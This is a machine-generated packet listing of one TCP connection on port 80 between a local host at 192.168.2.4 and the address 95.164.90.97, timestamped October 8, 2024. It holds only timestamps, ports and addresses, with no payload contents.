Oct 8, 2024 02:45:33.385356903 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.385370970 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.385375023 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.385385990 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.385399103 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.385401011 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.385407925 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.385416985 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.385426998 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.385432005 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.385438919 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.385447979 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.385458946 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.385462999 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.385471106 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.385478973 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.385490894 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.385494947 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.385499001 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.385509968 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.385518074 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.385529041 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.385535955 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.385548115 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.385567904 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.385802031 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.385821104 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.385843039 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.385850906 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.385859013 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.385862112 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.385875940 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.385879993 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.385893106 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.385900021 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.385910034 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.385910988 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.385927916 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.385931015 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.385947943 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.385967016 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.386087894 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.386102915 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.386117935 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.386128902 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.386132956 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.386138916 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.386148930 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.386157036 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.386174917 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.386183023 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.386240005 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.386255026 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.386270046 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.386280060 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.386285067 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.386291027 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.386301041 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.386307955 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.386317015 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.386326075 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.386337042 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.386357069 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.386380911 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.386395931 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.386409044 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.386420012 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.386424065 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.386431932 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.386440039 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.386451006 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.386456013 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.386460066 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.386470079 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.386480093 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.386485100 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.386495113 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.386507988 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.386514902 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.386523962 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.386524916 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.386542082 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.386552095 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.386557102 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.386560917 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.386573076 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.386576891 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.386590004 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.386594057 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.386605024 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.386609077 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.386620998 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.386624098 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.386636972 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.386642933 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.386657953 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.386663914 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.386679888 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.386687040 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.386697054 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.386706114 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.386713982 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.386714935 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.386732101 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.386735916 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.386746883 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.386768103 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.387346983 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.387363911 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.387396097 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.387397051 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.387407064 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.387412071 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.387428045 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.387430906 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.387443066 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.387458086 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.387463093 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.387463093 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.387474060 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.387475014 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.387495995 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.387500048 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.387515068 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.387516022 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.387531042 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.387538910 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.387547016 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.387550116 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.387562990 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.387572050 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.387578964 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.387586117 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.387594938 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.387603045 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.387612104 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.387624025 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.387629032 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.387631893 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.387644053 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.387656927 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.387658119 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.387665987 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.387674093 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.387686968 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.387691021 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.387705088 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.387706041 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.387716055 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.387722015 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.387733936 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.387737989 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.387753010 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.387762070 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.387768984 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.387778044 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.387793064 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.387794018 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.387809038 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.387816906 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.387824059 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.387836933 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.387845039 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.387868881 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.388240099 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.388257027 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.388271093 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.388283014 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.388284922 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.388293982 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.388300896 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.388314009 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.388315916 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.388324022 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.388331890 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.388341904 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.388346910 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.388353109 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.388362885 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.388370037 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.388386011 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.388391018 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.388401031 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.388402939 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.388417959 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.388427019 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.388432980 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.388437033 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.388448000 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.388453960 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.388463020 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.388468981 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.388478994 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.388487101 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.388495922 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.388495922 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.388511896 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.388516903 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.388530016 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.388531923 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.388545990 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.388550997 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.388561010 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.388561010 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.388577938 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.388581038 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.388592005 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.388592958 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.388608932 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.388622046 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.388627052 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.388637066 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.388638020 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.388653994 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.388654947 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.388669968 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.388674974 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.388685942 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.388695955 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.388706923 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.388724089 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.389142990 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.389161110 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.389174938 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.389184952 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.389189959 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.389194965 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.389206886 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.389215946 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.389228106 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.389246941 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.389302969 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.389318943 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.389333010 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.389344931 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.389347076 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.389353991 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.389364004 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.389374971 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.389379025 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.389385939 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.389398098 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.389405966 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.389415026 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.389422894 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.389432907 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.389437914 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.389461040 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.389462948 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.389471054 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.389475107 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.389491081 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.389494896 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.389507055 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.389511108 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.389524937 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.389528036 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.389543056 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.389549017 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.389559031 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.389560938 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.389576912 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.389578104 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.389592886 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.389602900 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.389609098 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.389621019 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.389626026 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.389641047 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.389642954 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.389657021 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.389663935 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.389672995 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.389674902 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.389689922 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.389694929 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.389705896 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.389724970 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.390085936 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.390126944 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.390292883 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.390309095 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.390321970 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.390333891 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.390338898 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.390343904 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.390353918 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.390362024 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.390369892 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.390372992 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.390386105 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.390391111 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.390402079 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.390409946 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.390419960 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.390424967 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.390439034 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.390439987 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.390455008 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.390460968 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.390470982 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.390471935 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.390486002 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.390491009 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.390506029 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.390521049 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.390527010 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.390527010 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.390537977 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.390538931 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.390553951 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.390558004 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.390569925 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.390572071 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.390585899 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.390585899 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.390602112 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.390608072 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.390618086 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.390619040 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.390636921 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.390636921 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.390654087 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.390655994 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.390670061 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.390676022 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.390685081 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.390691042 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.390702009 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.390707970 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.390718937 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.390722036 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.390736103 CEST	80	51293	95.164.90.97	192.168.2.4
